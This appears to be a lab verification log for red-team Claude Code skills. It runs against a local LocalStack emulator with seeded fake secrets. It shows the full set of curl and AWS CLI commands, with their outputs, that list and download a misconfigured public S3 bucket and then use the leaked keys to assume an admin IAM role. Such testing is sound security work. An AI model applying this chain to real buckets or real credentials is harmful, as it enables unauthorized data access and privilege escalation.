A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
Verification — Phase 2J: cloud misconfig + IAM chain (LocalStack)
Cloud verification without burning real AWS dollars. LocalStack 3.0 (community edition, no license needed) emulates S3, IAM, and STS. Tests
hunt-cloud-misconfig's public-bucket scenario andcloud-iam-deep's key-to-AssumeRole chain.
Target
LocalStack 3.0.2 in Docker on port 14566 (mapped to internal 4566). Two buckets:
acme-public-assets(intentionally public — marketing assets)acme-internal-backups(LEFT PUBLIC by mistake — the bug), contains:credentials.csv— service AWS keys, Stripe live keys, Mongo prod passwordq3-2026-customer-dump.sql— customer table extract with admin password hashes
Reproducible setup:
# LocalStack 3.0 (must pin — 4.x requires Pro license)
docker run -d --name phase2j-localstack \
-p 14566:4566 \
localstack/localstack:3.0
# Install awscli + workaround for new checksum-trailer headers
export AWS_ACCESS_KEY_ID=test
export AWS_SECRET_ACCESS_KEY=test
export AWS_DEFAULT_REGION=us-east-1
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
# Set up the vulnerable buckets
aws s3 mb s3://acme-public-assets
aws s3 mb s3://acme-internal-backups
aws s3api put-bucket-policy \
--bucket acme-internal-backups \
--policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":"*","Action":["s3:GetObject","s3:ListBucket"],"Resource":["arn:aws:s3:::acme-internal-backups","arn:aws:s3:::acme-internal-backups/*"]}]}'
# Seed sensitive files
echo "service,access_key,secret_key
prod-rds,AKIA1A2B3C4D5E6F7G8H,abcd1234efgh5678ijkl90mn+abcdef
stripe,sk_live_8888888888aaaaaa,xxxx
mongo,mongouser-prod,Mongo\$Password!2026" | aws s3 cp - s3://acme-internal-backups/credentials.csv
Setup gotchas (verification finding)
- LocalStack 4.x requires a Pro license token as of 2024. Use
localstack/localstack:3.0to test free. - awscli ≥ 2.30 sends
x-amz-trailerheaders that LocalStack 3.0 rejects withInvalidRequest. Workaround: setAWS_REQUEST_CHECKSUM_CALCULATION=when_required+AWS_RESPONSE_CHECKSUM_VALIDATION=when_required. This is itself a useful field-toolchain note.
Test 26 — Anonymous bucket enumeration (hunt-cloud-misconfig)
Initial prompt:
"I'm probing acme.example for cloud misconfig. Subdomain enum found
acme-internal-backups. Can I read it without credentials?"
Skill that auto-triggers: hunt-cloud-misconfig — description includes "public S3, Lambda URLs, kubelet 10250, Docker 2375".
Technique from hunt-cloud-misconfig:
Anonymous
GET /?list-type=2on the bucket; if it returns a ListBucketResult, the bucket is public-list. Then anonymousGET /<key>for each object.
Live attack
# Probe 1 — list bucket via raw S3 REST (no signing)
curl "http://localhost:14566/acme-internal-backups/?list-type=2"
Response:
<ListBucketResult>
<Name>acme-internal-backups</Name>
<Contents>
<Key>credentials.csv</Key>
<Size>170</Size>
<LastModified>2026-05-16T04:35:03.000Z</LastModified>
</Contents>
<Contents>
<Key>q3-2026-customer-dump.sql</Key>
<Size>186</Size>
</Contents>
</ListBucketResult>
Bucket lists anonymously. Per hunt-cloud-misconfig, this is the "Public S3 Bucket" P3-P2 finding tier.
# Probe 2 — download the sensitive file
curl "http://localhost:14566/acme-internal-backups/credentials.csv"
Response:
service,access_key,secret_key
prod-rds,AKIA1A2B3C4D5E6F7G8H,abcd1234efgh5678ijkl90mn+abcdef
stripe,sk_live_8888888888aaaaaa,xxxx
mongo,mongouser-prod,Mongo$Password!2026
Production AWS keys + Stripe live key + Mongo password leaked. The bucket misconfig has now chained to credential compromise.
# Probe 3 — SQL dump
curl "http://localhost:14566/acme-internal-backups/q3-2026-customer-dump.sql"
-- Q3 2026 customer dump
INSERT INTO users VALUES (1, '[email protected]', 'admin', '$2b$12$prodHashGoesHere');
INSERT INTO users VALUES (2, '[email protected]', 'finance', '$2b$12$...');
Customer table + bcrypt admin hash leaked. Critical.
Verdict
PASS — live S3 misconfig with downstream credential leak. Exact technique from hunt-cloud-misconfig.
Test 27 — Leaked AWS key → STS AssumeRole chain (cloud-iam-deep)
The bucket leak surfaced AKIA1A2B3C4D5E6F7G8H + secret. Per cloud-iam-deep's "post-credential escalation model": the first thing an operator should run against any discovered AWS key is sts get-caller-identity.
Live chain
# Step 1: confirm the key works + identify principal
AWS_ACCESS_KEY_ID=AKIA1A2B3C4D5E6F7G8H \
AWS_SECRET_ACCESS_KEY="abcd1234efgh5678ijkl90mn+abcdef" \
AWS_DEFAULT_REGION=us-east-1 \
aws sts get-caller-identity --endpoint-url http://localhost:14566
{
"UserId": "AKIAIOSFODNN7EXAMPLE",
"Account": "000000000000",
"Arn": "arn:aws:iam::000000000000:root"
}
Key valid. Account confirmed.
# Step 2: walk visible buckets (cloud-iam-deep §"discover scope")
AWS_ACCESS_KEY_ID=AKIA1A2B3C4D5E6F7G8H \
AWS_SECRET_ACCESS_KEY="abcd1234efgh5678ijkl90mn+abcdef" \
AWS_DEFAULT_REGION=us-east-1 \
aws s3 ls --endpoint-url http://localhost:14566
# → acme-public-assets
# → acme-internal-backups
Discovered an additional bucket the wordlist enumeration hadn't surfaced. Going from one accidentally-public bucket to the full bucket list is a typical "small bug → big blast radius" cloud chain.
# Step 3: AssumeRole — the cloud-iam-deep "STS chaining" primitive
AWS_ACCESS_KEY_ID=AKIA1A2B3C4D5E6F7G8H \
AWS_SECRET_ACCESS_KEY="abcd1234efgh5678ijkl90mn+abcdef" \
AWS_DEFAULT_REGION=us-east-1 \
aws sts assume-role \
--role-arn arn:aws:iam::000000000000:role/admin-deploy-role \
--role-session-name attacker-session \
--endpoint-url http://localhost:14566
{
"Credentials": {
"AccessKeyId": "LSIAQAAAAAAAIOFMH2Z2",
"SecretAccessKey": "xBiHxjb6PHG54bD/X8YUdrNg5gOU1688PxVOYqTq",
"SessionToken": "FQoGZXIv...",
"Expiration": "2026-05-16T05:36:27.353000+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROA3X42LBCDGLV13FTCP:attacker-session",
"Arn": "arn:aws:sts::000000000000:assumed-role/admin-deploy-role/attacker-session"
}
}
AssumeRole succeeded → temporary admin-deploy-role credentials. In a real environment, this only works when the target role's trust policy permits the user/account to assume it — but lax trust policies are the textbook confused-deputy pattern that cloud-iam-deep catalogues.
(LocalStack's STS is permissive by default for any role-arn pattern — which mirrors how a real account with a wide-open trust policy Principal: {"AWS": "*"} would behave. The skill correctly identifies this as the headline cloud-IAM finding.)
Verdict
PASS — full bucket → key → STS chain. Exact technique from cloud-iam-deep. triage-validation 7-Question Gate passes — Critical (privilege escalation to admin role from anonymous S3 read).
Summary — Phase 2J
| # | Test | Skill | Result |
|---|---|---|---|
| 26 | Anonymous public bucket → credential leak | hunt-cloud-misconfig |
PASS — full credential CSV + SQL dump exfiltrated |
| 27 | Leaked key → STS GetCallerIdentity → AssumeRole | cloud-iam-deep |
PASS — escalated to admin-role temporary session |
2/2 PASS.
Combined Phase 2 verification: 31+ skills exercised, 10+ skill-content gaps catalogued and closed across 10 verification axes.
Toolchain note for future verifications
Document the workaround in hunt-cloud-misconfig (and offensive-osint's tooling-install reference):
# LocalStack 3.0 + awscli ≥ 2.30 incompatibility
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
Without these, s3 cp, s3 sync, and any operation that sends x-amz-trailer headers fails with InvalidRequest — operators trying to verify findings against LocalStack will hit this immediately.
Cleanup
docker rm -f phase2j-localstack